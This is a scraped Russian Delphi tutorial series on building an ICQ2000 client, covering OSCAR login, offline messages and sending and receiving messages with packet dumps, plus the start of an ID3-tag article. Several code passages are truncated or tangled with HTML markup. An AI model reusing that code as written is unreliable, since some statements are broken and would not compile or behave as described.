tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$3,$4);
// пока включаем только свой UIN
PacketAppendB_String(tmp,s(UIN));
// PacketAppendB_String(tmp,s(UIN_1));
// PacketAppendB_String(tmp,s(UIN_2));
// ...
// PacketAppendB_String(tmp,s(UIN_n));
// Можно включить любой UIN, ... даже если он и не хочет :)
PacketSend(tmp);
M(Memo,'> Send Contact List (1)');
// если мы начинаем с режима Invisible, то передаем
// Visible List, во всех других режимах - Invisible List
case ICQStatus of
STATE_INVISIBLE: begin
// Send Visible List
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$9,$5);
// пока список пуст (кого включать решать вам)
PacketSend(tmp);
M(Memo,'> Send Visible List (0)');
end;
else begin
// Send Invisible List
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$9,$7);
// пока список пуст (кого включать решать вам)
PacketSend(tmp);
M(Memo,'> Send Invisible List (0)');
end;
end; // case
ConnectMode(true);
SetStatus(ICQStatus);
M(Memo,'> Set Status Code');
// Client Ready
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$1,$2);
PacketAppend32(tmp,dswap($00010003));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($00020001));
PacketAppend32(tmp,dswap($0101028A));
PacketAppend32(tmp,dswap($00030001));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($00150001));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($00040001));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($00060001));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($00090001));
PacketAppend32(tmp,dswap($0110028A));
PacketAppend32(tmp,dswap($000A0003));
PacketAppend32(tmp,dswap($0110028A));
PacketSend(tmp);
M(Memo,'> Client Ready');
{
Здесь заканчивается утомительная процедура вхождения в связь
(согласования различных параметров с сервером.
Возможно, что в AOL Imstant Messenger такая процедура, что-то и значит,
но в ICQ-протоколе похоже, что ничего).
В этот момент считается, что мы уже в Online
и другие клиенты наш статус увидят.
}
// А мы можем уже запрашивать у сервера полезную информацию,
// например, надо запросить off-лайновые сообщения
// Get offline messages
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$15,$2);
PacketAppend32(tmp,dswap($0001000A));
PacketAppend16(tmp, swap($0800));
PacketAppend32(tmp, UIN);
PacketAppend16(tmp, swap($3C00));
PacketAppend16(tmp, swap($0200));
PacketSend(tmp);
M(Memo,'> Get offline messages');
end else
{
здесь начинается секция обработки почти всех пакетов-ответов,
которые поступят во время, пока мы подключены к ICQ-серверу.
}
// UIN ON-line
if (swap(p^.SNAC.FamilyID)=$3)and
(swap(p^.SNAC.SubTypeID)=$0B) then begin
M(Memo,'');
ShowUserONStatus(p);
M(Memo,'');
end else // UIN OFF-line
if (swap(p^.SNAC.FamilyID)=$3)and
(swap(p^.SNAC.SubTypeID)=$0C) then begin
M(Memo,'');
M(Memo,'end else // Reject notification
// отказ сервера выдать статус этого UINа
// (встречается очень редко)
if (swap(p^.SNAC.FamilyID)=$3)and
(swap(p^.SNAC.SubTypeID)=$0A) then begin
M(Memo,'');
M(Memo,'end else // SNAC 15,3
// имеет много назначений:
// - ответы с offlines messages
// - ответы с UserInfo Results
// - ответы с SearchUser Results
// - и многое другое
if (swap(p^.SNAC.FamilyID)=$15)and
(swap(p^.SNAC.SubTypeID)=$3) then begin
M(Memo,'');
SNAC_15_3(p);
M(Memo,'');
end else // SNAC 4,7 Входящие сообщения (всех типов)
if (swap(p^.SNAC.FamilyID)=$4)and
(swap(p^.SNAC.SubTypeID)=$7) then begin
M(Memo,'');
SNAC_4_7(p);
M(Memo,'');
end else begin // и если, что-то еще не обрабатывается
M(Memo,'');
M(Memo,'???? Unrecognized SNAC: ????????');
M(Memo,'???? SNAC [$'+inttohex(swap(p^.SNAC.FamilyID),2)+':$'+
inttohex(swap(p^.SNAC.SubTypeID),2)+']');
M(Memo,'');
end;
end;
|
Вы конечно же заметили, что я не очень подробно описывал структуру принимаемых и передаваемых SNAC-пакетов. Это огромнейшая тема. Лично я, при подготовке своих материалов черпал такую информацию на сайте:
Unofficial ICQv7/8 protocol documentation website,
В основном это информация из:
ICQv7 (personal) protocol notes, by Massimo Melina,
А также, (но в меньшей степени) из:
Unofficial AIM/Oscar protocol specification, by Adam Fritzler and Scott Werndorfer.
Чтобы картина работы приложения nICQ была более ясной, на следующей странице давайте рассмотрим ее на конкретном примере...
ICQ2000 сделай сам 7.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Надпись на могиле аськера: . |
Для разбора конкретного примера возьмем ситуацию, когда мы запрашиваем у ICQ-сервера оффлайновые сообщения (т.е. те, которые накопились на сервере, пока нас не было в онлайне).
Запрос оффлайновых сообщений делаем с помощью SNAC(15,2), а ответ на него получим соответственно в SNAC(15,3). Оба этих SNACa имеют очень простой формат. Они содержат в себе только по одному TLV, а именно TLV(1). На первый взгляд все очень просто. Но... TLV(1), в свою очередь, имеет очень ветвистую структуру. (Такие особенности имеют и некоторые другие SNАСи, например, SNAC(4,6) для передачи и SNAC(4,7) для приема сообщений).
В заметках к протоколу ICQv7 от Massimo Melina есть описание SNAC(15,2). Этот SNAC используется во множестве различных запросов. Я лишь выделю те строки, которые будут включены в наш запрос, а именно:
заголовок самого SNAC(15,2); TLV(1), который включает в себя: длину, следующих далее данных, наш UIN, тип запроса ($3СО0), cookie (по которому мы узнаем ответный SNAC(15,3) ).В описании это находится вот здесь:
SNAC 15,02
TLV(1)
WORD (LE) bytes remaining, useless
UIN my uin
WORD type
WORD cookie
type = 3C00 // ask for offlines messages
nothing
type = 3E00 // ack to offline messages,
nothing type=D007
WORD subtype
subtype=9808 xml-stype in an LNTS
LNTS '' name of required data ''
subtype=1F05 // simple query info
UIN user to request info subtype=B204 // query info about user
UIN user to request info subtype=D004 // query my info
UIN my uin
..............
..............
..............
|
В исходном коде это выглядит так:
// Get offline messages // создаем FLAP-заголовок с Channel_ID=2 и SEQ++ tmp := CreatePacket(2,SEQ); // добавляем SNAC-заголовок SNAC(15,2) SNACAppend(tmp,$15,$2); // добавляем TLV(1) ($0001-Type, $000A-Length) PacketAppend32(tmp,dswap($0001000A)); // добавляем саму Value Для TLV(1) PacketAppend16(tmp, swap($0800));// бесполезная длина PacketAppend32(tmp, UIN); // наш UIN PacketAppend16(tmp, swap($3C00));// тип запроса PacketAppend16(tmp, swap($0200));// cookie PacketSend(tmp); M(Memo,'> Get offline messages'); |
Этот кусок кода сгенерирует следующий дамп:
2A 02 36 86 00 18 00 15 00 02 00 00 00 87 00 02 00 01 00 0A 08 00 XX XX XX XX 3C 00 02 00 |
Разпишем его в табличном виде для лучшего восприятия:
| Command Start | 2A | |||||||||||||||||||||||||
| Channel ID | 02 | |||||||||||||||||||||||||
| Sequence Number | 36 86 | |||||||||||||||||||||||||
| Data Field Length | 00 18 | |||||||||||||||||||||||||
|
|
Family ID |
00 15
|
SubType ID |
00 02
|
Flags[0] |
00 |
Flags[1] |
00 |
Request ID |
00 87 00 02 |
|
|
Type |
00 01
|
Length |
00 0A |
Value |
08 00
|
|
XX XX XX XX
|
наш UIN
|
3C 00
|
запрос на оффлайновые сообщения
|
02 00 |
cookie |
|
Передадим пакет и от сервера получим FLAP-пакет с таким дампом:
2A 02 74 6D 00 4D 00 15 00 03 00 01 00 87 00 02 00 01 00 3F 3D 00 XX XX XX XX 41 00 02 00 F8 5F F1 08 D2 07 02 0C 10 12 01 00 25 00 EF F0 E8 E2 E5 F2 0D 0A FD F2 EE 20 F2 E5 F1 F2 EE E2 EE E5 20 F1 EE EE E1 F9 E5 ED E8 E5 20 21 21 21 0D 0A 00 00 00 |
И снова распишем его в таблицу:
| Command Start | 2A | |||||||||||||||||||||||||||||||||||||||||||||||
| Channel ID | 02 | |||||||||||||||||||||||||||||||||||||||||||||||
| Sequence Number | 74 6D | |||||||||||||||||||||||||||||||||||||||||||||||
| Data Field Length | 4D 00 | |||||||||||||||||||||||||||||||||||||||||||||||
|
|
Family ID |
00 15
|
SubType ID |
00 03
|
Flags[0] |
00 |
Flags[1] |
01 |
Request ID |
00 87 00 02 (такой же как и в запросе) |
|
|
Type |
00 01
|
Length |
00 3F |
Value |
3D 00
|
|
XX XX XX XX |
наш UIN |
41 00
|
тип: оффлайновое сообщение
|
02 00 |
cookie (как и в запросе) |
XX XX XX XX
|
его UIN
|
D2 07 |
год (2002) |
02 |
месяц (февраль) |
0C |
день (12) |
10 |
час (16) |
12 |
минуты (18) |
01 |
под-тип сообщения
(обычное) |
00 |
флаги сообщения (?) |
25 00
|
длина сообщения (37) |
EF F0 E8 E2 E5 F2 0D 0A FD F2 EE 20 F2 E5 F1 F2 EE E2 EE E5 20 F1 EE EE E1 F9 E5 ED E8 E5 20 21 21 21 0D 0A 00
|
текст сообщения:
"привет
это тестовое сообщение !!!"
|
00 00 |
присутствют, если сообщение единственное |
|
В протокольных заметках я выделю ту часть описания SNAC(15,3), которая соответствует таблице:
SNAC 15,03
TLV(1)
WORD (LE) bytes remaining, useless
UIN my uin
WORD message-type
WORD cookie
message-type = 4100 // offline message
UIN his uin
WORD year (LE)
BYTE month (1=jan)
BYTE day
BYTE hour (GMT time)
BYTE minutes
BYTE msg-subtype
BYTE msg-flags
LNTS msg
WORD 0000, present only in single messages
message-type = 4200 // end of offline messages
BYTE unknown, usually 0
message-type = D007
2 BYTE unknown, usually 98 08
WORD length of the following NTS
NTS ""field-type""
field-type = DataFilesIP
6 BYTE unk, usually 2A 02 44 25 00 31
message-type = DA07
3 BYTE subtype
subtype=A4010A // wp-full-request result
wp-result-info
..............
..............
..............
subtype=B4000A // ack to remove user
empty
subtype=AA000A // ack to change password
empty
|
И "нарешти" - код для приема SNAC(15,3). Множественные комментарии, кажется тут уже излишни.
procedure TForm1.SNAC_15_3(p:PPack); var MessageType,Cookie : word; myUIN,hisUIN : longint; year,month,day,hour,minute,typemes,subtypemes,lenmes : word; tmp : PPack; begin // просто пролетаем над началом TLV(1) PacketRead32(p); PacketRead16(p); // а дальше имена переменных объясняют больше, чем комментарии myUIN := PacketRead32(p); MessageType := swap(PacketRead16(p)); Cookie := swap(PacketRead16(p)); M(Memo,'< Cookie: $'+inttohex(Cookie,4)); <strong>case</strong> MessageType <strong>of</strong> $4100: <strong>begin</strong> <font color="#000080"><em>// OFFLINE MESSAGE</em></font> hisUIN := PacketRead32(p); M(Memo,'< Message-Type: $'+inttohex(MessageType,4)); M(Memo,'< OFFLINE MESSAGE from UIN: '+s(hisUIN)); year := PacketRead16(p); month := PacketRead8(p); day := PacketRead8(p); hour := PacketRead8(p); minute := PacketRead8(p); typemes := PacketRead8(p); subtypemes := PacketRead8(p); lenmes := PacketRead16(p); DoMsg(false,typemes,lenmes,PCharArray(@(p^.data[p^.cursor])), hisUIN,UTC2LT(year,month,day,hour,minute)); <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> Тут можно на недельку передохнуть... </p> <p> В скором времени я добавлю такие модули: </p> <ul type=square> <li>передача сообщений (SendMess); </li> <li>прием сообщений (MessFrom); </li> <li>информация о пользователе (UserInfo); </li> <li>поиск пользователей по разным критериям (SearchUser); </li> </ul> <p> ...следите за обновлениями сайта </p> <!-- end -->ICQ2000 сделай сам 8.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Приходит на ICQ сообщение: - Do you wanna chat? - I'm busy. - Hello, busy. I'm Abraham!... |
Урок №2
Передача сообщений
Уверен, что у вас не возникло никаких проблем со скачиванием, с компиляцией, с "конфигурированием" первого проекта. Если вы вписывали в файл nICQ.ini свой пароль, то коннект был обеспечен.
Урок №2 содержит два новых модуля. SendMess и MessFrom. Каждый из них имеет свое окно. Это - передача и прием сообщений.
Чтобы полноценно передавать сообщения, необходим и такой объект в основном окне, как список контактов. Объект TTreeView напрашивается сам. Проще некуда. Тем более каждый элемент в нем может содержать указатель на связанные данные. TTreeView меня полностью устроил.
Сам список контактов будет хранится в файле .dat.
Т.к. сейчас рассматриваетя только урок №2, то и заполняться этот файл будет пока только вручную. При его заполнении вполне можно пренебречь процедурой авторизации.
[ContactList] 199111222=1st_User 199111333=2nd_User 199111444=3rd_User 345345234=Иван Иваныч 188888888=Вася Пупкин и т.д. и т.п. |
Вписывайте UINов столько, сколько нужно. Только не забудьте увеличить массив TContactList, если UINов планируете больше сотни:
type TContactList = array[0..100] of TListRecord; |
И еще пару слов относительно интерфейса: те кому надоели зелененькие цветочки - могут нарисовать свои значки для контактного списка. Вitmары прилагаются.
Теперь о том как реально передаются сообщения.
Есть два типа передаваемых сообщений: Simple Message и Advanced Message.
Если UIN (для которого предназначено сообщение) находится в оффлайне - то ему шлется Simple Message. Advanced Message посылаются тем адресатам, (кажется ) если версия аськи у них не ниже ICQ2000. Из формата Advanced Message в уроке №2 используется лишь информация о Foreground Color и Background Color (это цвета раскраски текста). Использовал бы еще что-нибудь, так там больше ничего нет такого, что можно назвать advanced.
При передаче, сообщения пакуются в SNAC(4,06).
Начнем с более простого формата - Simple Message:
| Command Start | 2A | ||||||||||||||||||||||||||||||||||||||||
| Channel ID | 02 | ||||||||||||||||||||||||||||||||||||||||
| Sequence Number | 34 3B | ||||||||||||||||||||||||||||||||||||||||
| Data Field Length | 00 3D | ||||||||||||||||||||||||||||||||||||||||
|
|
Family ID |
00 04
|
SubType ID |
00 06
|
Flags[0] |
00 |
Flags[1] |
00 |
Request ID |
00 AD 00 06 |
|
|
53 DE 53 75
|
Cookie 1 |
16 14 BB 50 |
Cookie 2 |
00 01
|
msg-format:
Simple Message
|
09
|
длина его UINа |
почти как
PascalStr |
31 39 39
37 37 37
36 36 36 |
его UIN
(например: '199777666') |
T ype |
00 02
|
L ength |
00 17 |
V alue |
05 01 00 01 01 01 01 |
(unk) ??? |
00 0E |
длина сообщения
+ 4 |
00 00 00 00 |
(unk) ??? |
D1 EE EE E1 F9 E5 ED E8 E5 21
|
'Сообщение!'
|
T ype |
00 06
|
L ength |
00 00 |
|
Продолжим более сложным форматом - Advanced Message. А он действительно по-сложнее будет.
| Command Start | 2A | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Channel ID | 02 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Sequence Number | 0C A3 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Data Field Length | 00 99 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
Family ID |
00 04
|
SubType ID |
00 06
|
Flags[0] |
00 |
Flags[1] |
00 |
Request ID |
00 C3 00 06 |
|
|
1C D3 C4 B7
|
Cookie 1 |
23 4D 75 95 |
Cookie 2 |
00 02
|
msg-format:
Advanced Message
|
09
|
длина его UINа |
почти как
PascalStr |
31 39 39
37 37 37
36 36 36 |
его UIN
(например: '199777666') |
T ype |
00 05
|
L ength |
00 73 |
V alue |
00 00 |
00 00 - для посылки сообщения |
1C D3 C4 B7 |
Cookie 1 |
23 4D 75 95 |
Cookie 1 |
09 46 13 49
4C 7F 11 D1
82 22 44 45
53 54 00 00 |
4 DWORD
наши возможности ???
(capability) |
|
|
T ype |
00 0A
|
L ength |
00 02 |
V alue |
00 01 |
00 01 - для посылки сообщения |
T ype |
00 0F
|
L ength |
00 00 |
T ype |
27 11
|
L ength |
00 4B |
V alue |
1B 00 07 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 03 00 00
00 |
26 байт (unk) |
00 |
|
FF FF |
|
0E 00 |
|
FF FF |
|
00 00 00 00 00
00 00 00 00 00
00 00 |
12 байт (unk) |
01
|
msg-subtype ( 01-обычное )
|
00 |
|
00 00 |
|
01 00 |
|
0E 00 |
длина сообщения |
тело
сообщения |
D1 EE EE E1 F9 E5 ED E8 E5 20 B9 32 2E (00)
|
'Сообщение №2.'
|
80 00 80 00 |
foreground color |
FF FF 00 00 |
background color |
T ype |
00 03
|
L ength |
00 00 |
TLV(3) посылается, как запрос подтверждения |
|
Что касается кода, то мудровать с формированием TLV я не стал. Зато получилось дешево и сердито. Одним словом - это все работает.
unit SendMess;
procedure TMessageTo.SendButtonClick(Sender: TObject);
var sNN,sMess,sUIN : string;
tmp : PPack;
sTmp : string;
d1,d2 : longint;
buf : TByteArray;
ind,indmem : word;
const capab : string{16}= #$09#$46#$13#$49#$4C#$7F#$11#$D1+
#$82#$22#$44#$45#$53#$54#$00#$00;
blok : string{26} = #$1B#$00#$07#$00#$00#$00#$00#$00+
#$00#$00#$00#$00#$00#$00#$00#$00+
#$00#$00#$00#$00#$00#$00#$03#$00+
#$00#$00;
x:word=0;
begin
sNN := NNEd.Text;
sUIN := ICQEd.Text;
if SendMemo.Lines.Count = 0 then exit;
sMess := SendMemo.Text;
// создаем новый FLAP
tmp := CreatePacket(2,SEQ);
// добавляем SNAC(4,6)
SNACAppend(tmp,$4,$6);
// генерируем Cookie-1 и Cookie-2
d1:=random($7FFFFFFF);
d2:=random($7FFFFFFF);
// запоминаем их: по ним мы узнаем АСКи от сервера и клиента
SEQ1:=dswap(d1);
SEQ2:=dswap(d2);
PacketAppend32(tmp,dswap(d1));
PacketAppend32(tmp,dswap(d2));
// проверяем какой тип сообщения выбран case MesFmtBox.Checked of
true:
begin
// advanced message
// 0002 - advanced
PacketAppend16(tmp,swap($0002));
// кому ?
// дальше, вся последовательность формируется
// в дополнительном буфере buf
PacketAppendB_String(tmp,sUIN);
// TLV(5) + его длина, которую впишем в конце
ind:=0;fillchar(buf,sizeof(buf),'^');
PLONG(@(buf[ind]))^:=dswap($0005FFFF);inc(ind,4);
// Cookie-1 и Cookie-2
PWORD(@(buf[ind]))^:=0;inc(ind,2);
PLONG(@(buf[ind]))^:=dswap(d1);inc(ind,4);
PLONG(@(buf[ind]))^:=dswap(d2);inc(ind,4);
// Capability
MOVE(capab[1],buf[ind],length(capab));inc(ind,length(capab));
//TLV(A)=0001
PLONG(@(buf[ind]))^:=dswap($000A0002);inc(ind,4);
PWORD(@(buf[ind]))^:=swap($0001);inc(ind,2);
//TLV(F)-пустой
PLONG(@(buf[ind]))^:=dswap($000F0000);inc(ind,4);
// TLV(2711) + его длина, которую впишем в конце
PLONG(@(buf[ind]))^:=dswap($2711FFFF);inc(ind,4);
indmem:=ind-2;
// 16 байт
MOVE(blok[1],buf[ind],length(blok));inc(ind,length(blok));
PBYTE(@(buf[ind]))^:=0;inc(ind,1);
PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
PWORD(@(buf[ind]))^:=swap($0E00);inc(ind,2);
PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
// 12 байт = 0
PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
// под-Тип сообщения = 1 (обычное)
PBYTE(@(buf[ind]))^:=1;inc(ind,1);
PBYTE(@(buf[ind]))^:=0;inc(ind,1);
PWORD(@(buf[ind]))^:=swap($0000);inc(ind,2);
PWORD(@(buf[ind]))^:=swap($0100);inc(ind,2);
// длина сообщения
PWORD(@(buf[ind]))^:=length(sMess)+1;inc(ind,2);
// сообщение
move(sMess[1],buf[ind],length(sMess));inc(ind,length(sMess));
// завершающий ноль
PBYTE(@(buf[ind]))^:=0;inc(ind,1);
// foreground color
PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,FG));inc(ind,4);
// background color
PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,BG));inc(ind,4);
// вписываем фактическую длину в TLV(5)
PWORD(@(buf[2]))^:=swap(ind-4);
// подсчитывем фактическую длину TLV(2711)
x:=length(blok)+27+length(sMess)+9;
// ... и вписывем ее
PWORD(@(buf[indmem]))^:=swap(x);
// пепеносим данные с buf в FLAP
PacketAppend(tmp,@buf,ind);
// ack request ? (запрос подтверждения)
// TLV(3)-пустой
PacketAppend32(tmp,dswap($00030000));
end;
false:
g>begin // simple message
// 0001 - simple
PacketAppend16(tmp,swap($0001));
// кому ?
PacketAppendB_String(tmp,sUIN);
// tlv(2)
PacketAppend16(tmp,swap(2));
// длина tlv(2)
PacketAppend16(tmp,swap(13+length(sMess)));
// 7 байт
PacketAppend32(tmp,dswap($05010001));
PacketAppend16(tmp,swap($0101));
PacketAppend8(tmp,$01);
// длина сообщения + 4
PacketAppend16(tmp,swap(4+length(sMess)));
// 4 байта = 0
PacketAppend32(tmp,dswap($0));
// сообщение
PacketAppend(tmp,@(sMess[1]),length(sMess));
// tlv(6) - пустой
PacketAppend16(tmp,swap($0006));
PacketAppend16(tmp,0);
end;
end;
//case
// посылаем пакет
Form1.PacketSend(tmp);
M(SendMemo,'Sending...');
// пишем в журнал
case MesFmtBox.Checked of
// A - advanced
true: sTmp := '[A] ';
// S - simple
false: sTmp := '[S] ';
end;
// тут и так ясно
sTmp := '->'+sTmp+DateTimeToStr(Now)+' '+
sNN+' ['+sUIN+'] "'+sMess+'"';
M(Form1.Memo,sTmp); Form1.LogMessage(sTmp);
if MesFmtBox.Checked then begin
// если advanced
SendAnime.Active := true;
SendMemo.Enabled := false;
SendButton.Enabled := false;
MesFmtBox.Enabled := false;
// окно закроется только после получения
// АСКов от сервера и от клиента (или вручную)
end
else
// если simple, то окно сразу закрывается
Close;
end;
|
Исходники Урока №2 здесь.
На следующей странице уделено внимание приему сообщений.
ICQ2000 сделай сам 9.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| В реалмод я больше не писюн... не писюк... не писец... |
Прием сообщений.
Все сообщения приходят в SNAC(4,07).
У него такой же формат, как и у SNAC(4,06). Поэтому стоит сразу комментировать код:
unit Main.pas;
procedure TForm1.SNAC_4_7(p:PPack); var i,cnt,T,MessageFormat,SubMode,SubMode2,Empty : word; {myUIN,} hisUIN : longint; SubType : array[0..3] of byte; MessageSubType : longint absolute SubType; tmp,tmp2,tmp3 : PPack; sTemp : string; dTemp : TByteArray; typemes, {subtypemes,} unk,modifier,lenmes : word; // для SNAC(4,0B)-подтверждения принятых advanced сообщений d1,d2 : longint; ACK : TByteArray; ind : word; NewMsg : PMsgItem; FG : array[0..3] of byte; BG : array[0..3] of byte; begin // сохраняем Cookie-1 и Cookie-2 d1:=PacketRead32(p); d2:=PacketRead32(p); // читаем формат сообщения MessageFormat := swap(PacketRead16(p)); // от кого ? sTemp := PacketReadB_String(p); // Cookie-1,Cookie-2 и некоторую другую часть пакета сохраним. // Эти данные необходимо включить в ACK на это сообщение ind:=0; PLONG(@(ACK[ind]))^:=d1; inc(ind,4); PLONG(@(ACK[ind]))^:=d2; inc(ind,4); PWORD(@(ACK[ind]))^:=swap(MessageFormat);inc(ind,2); PBYTE(@(ACK[ind]))^:=length(sTemp);inc(ind,1); MOVE(sTemp[1],ACK[ind],length(sTemp));inc(ind,length(sTemp)); PWORD(@(ACK[ind]))^:=swap($0003);inc(ind,2); // преобразуем его UIN из строки в longint try hisUIN := strtoint(sTemp); except hisUIN:=0; end; M(Memo,'< From: '+sTemp); PacketRead16(p); <font color="#000080"><em>// узнаем сколько всего TLV во входящем пакете</еm></fоnt> cnt := swap(PacketRead16(p)); <font color="#000080"><em>// читаем все эти TLV</em></font> <strong>for</strong> i:=1 <strong>to</strong> cnt <strong>do</strong> <font color="#000080"><em>// самый интересный - TLV(6)</em></font> <strong>if</strong> TLVReadStr(p,sTemp)=6 <strong>then</strong> <strong>begin</strong> <font color="#000080"><em>{ в TLV(6) - его статус }</em></font> <strong>end</strong>; <font color="#000080"><em>// анализируем каждый из форматов</еm></fоnt> <strong>case</strong> MessageFormat <strong>of</strong> $0001: <strong>begin</strong> M(Memo,'< Message-format:1 (SIMPLE)'); <font color="#000080"><em>// чтение TLV(2) в sTemp</em></font> TLVReadStr(p,sTemp); <font color="#000080"><em>// скопируем sTemp во временный PPack,</em></font> <font color="#000080"><em>// для удобства обработки</еm></fоnt> tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); <font color="#000080"><em>// обработаем его</еm></fоnt> PacketRead16(tmp); PacketRead16(tmp); PacketRead8(tmp); PacketRead16(tmp); <font color="#000080"><em>// добрались до длины сообщения</еm></fоnt> lenmes := swap(PacketRead16(tmp))-4; PacketRead32(tmp); <font color="#000080"><em>// читаем сообщение в sTemp</em></font> PacketRead(tmp,@sTemp[1],lenmes); SetLength(sTemp,lenmes); <font color="#000080"><em>// анализ содержания сообщения</еm></fоnt> DoSimpleMsg(hisUIN,sTemp); <font color="#000080"><em>// удалим временный PPack</em></font> PacketDelete(tmp); <strong>end</strong>; $0002: <strong>begin</strong> M(Memo,'< Message-format:2 (ADVANCED)'); <font color="#000080"><em>// чтение TLV(5) в sTemp</em></font> TLVReadStr(p,sTemp); <font color="#000080"><em>// скопируем sTemp во временный PPack,</em></font> <font color="#000080"><em>// для удобства обработки</еm></fоnt> tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); <font color="#000080"><em>// обработаем его</еm></fоnt> SubMode := swap(PacketRead16(tmp)); PacketRead32(tmp); PacketRead32(tmp); PacketRead(tmp,@dTemp,16); <strong>case</strong> SubMode <strong>of</strong> $0000: <strong>begin</strong> M(Memo,'SubMode: $0000 NORMAL'); TLVReadWord(tmp,SubMode2); <font color="#000080"><em>// TLV(F) - пустой</еm></fоnt> TLVReadWord(tmp,Empty); <font color="#000080"><em>// прием и анализ TLV(2711)</em></font> T := TLVReadStr(tmp,sTemp); <strong>if</strong> T=$2711 <strong>then</strong> <strong>begin</strong> <font color="#000080"><em>// сохраняем кусок данных для АСКа</еm></fоnt> MOVE(sTemp[1],ACK[ind],47);inc(ind,47); PLONG(@(ACK[ind]))^:=0; inc(ind,4); <font color="#000080"><em>// используем временный PPack</em></font> tmp2 := PacketNew; PacketAppend(tmp2,@(sTemp[1]),length(sTemp)); PacketGoto(tmp2,0); PacketRead(tmp2,@dTemp,26); PacketRead8(tmp2); PacketRead16(tmp2); PacketRead16(tmp2); PacketRead16(tmp2); PacketRead(tmp2,@dTemp,12); <font color="#000080"><em>// читаем ТИП сообщения</еm></fоnt> typemes := PacketRead8(tmp2); <font color="#000080"><em>{subtypemes := }</em></font>PacketRead8(tmp2); unk:=swap(PacketRead16(tmp2)); modifier:=swap(PacketRead16(tmp2)); M(Memo,'Unk: $'+inttohex(unk,4)); M(Memo,'Modifier: $'+inttohex(modifier,4)); <font color="#000080"><em>// длина сообщения</еm></fоnt> lenmes := PacketRead16(tmp2); <font color="#000080"><em>// анализ сообщения</еm></fоnt> NewMsg:=DoMsg(true,typemes, lenmes,PCharArray(@(tmp2^.data[tmp2^.cursor])), hisUIN,Now2DateTime); <font color="#000080"><em>// небольшая перемотка</еm></fоnt> PacketGoto(tmp2,(tmp2^.cursor)+lenmes); <font color="#000080"><em>// читаем Foreground и Background Colors</em></font> PacketRead(tmp2,@FG,4); PacketRead(tmp2,@BG,4); <strong>if</strong> NewMsg<><strong>nil</strong> <strong>then</strong> <strong>begin</strong> NewMsg^.FG:='$00'+inttohex(FG[2],2)+ inttohex(FG[1],2)+ inttohex(FG[0],2); NewMsg^.BG:='$00'+inttohex(BG[2],2)+ inttohex(BG[1],2)+ inttohex(BG[0],2); <strong>end</strong>; <font color="#000080"><em>// удаление временного PPack</em></font> PacketDelete(tmp2); <font color="#000080"><em>// дозаполнение ACK</em></font> PWORD(@(ACK[ind]))^:= 1; inc(ind,2); PBYTE(@(ACK[ind]))^:= 0; inc(ind,1); PLONG(@(ACK[ind]))^:= 0; inc(ind,4); PLONG(@(ACK[ind]))^:=-1; inc(ind,4); <font color="#000080"><em>// посылка АСКа</еm></fоnt> tmp3 := CreatePacket($2,SEQ); SNACAppend(tmp3,$4,$0B); PacketAppend(tmp3,@ACK[0],ind); PacketSend(tmp3); <strong>end</strong>; <font color="#000080"><em>// Submode:$0000</em></font> <strong>end</strong>; $0001: M(Memo,'SubMode:$0001 ??? message canceled ???'); $0002: M(Memo,'SubMode:$0002 FILE-ACK'); <font color="#000080"><em>// case SubMode</em></font> <strong>end</strong>; PacketDelete(tmp); <strong>end</strong>; $0004: <strong>begin</strong> M(Memo,'< Message-format:4 '+ '(url or contacts or auth-req or userAddedYou)'); TLVReadStr(p,sTemp); tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); hisUIN := PacketRead32(tmp); typemes := PacketRead8(tmp); <font color="#000080"><em>{subtypemes := }</em></font> PacketRead8(tmp); lenmes := PacketRead16(tmp); DoMsg(true,typemes, lenmes,PCharArray(@(tmp^.data[tmp^.cursor])), hisUIN,Now2DateTime); PacketDelete(tmp); <strong>end</strong>; <strong>else</strong> M(Memo,'< ??? SNAC 4,7; Message-format: '+s(MessageFormat)); <font color="#000080"><em>// case MessageFormat</em></font> <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> продолжение следует ... </p> <!-- end -->Просмотр и редактирование тэга ID3 (MP3).
Автор: ПавелТэг ID3 содержит информацию о композиции: исполнитель, жанр и т.п. Этот кусок информации содержится в последних 128 байтах файла. Начинается тэг словом "TAG". Его может и не быть, если тэг удален или не был заполнен при создании. Однако его всегда можно добавить. Тэг ID3 имеет следующий формат:
type
TID3Rec = packed record
Tag: array[0..2] of Char;
Title,
Artist,
Comment,
Album: array[0..29] of Char;
Year: array[0..3] of Char;
Genre: Byte;
end;
Как видно, жанр кодируется всего байтом, поэтому нужно следующее описание для декодирования этой информации:
const
MaxID3Genre = 147;
ID3Genre: array[0..MaxID3Genre] of string = (
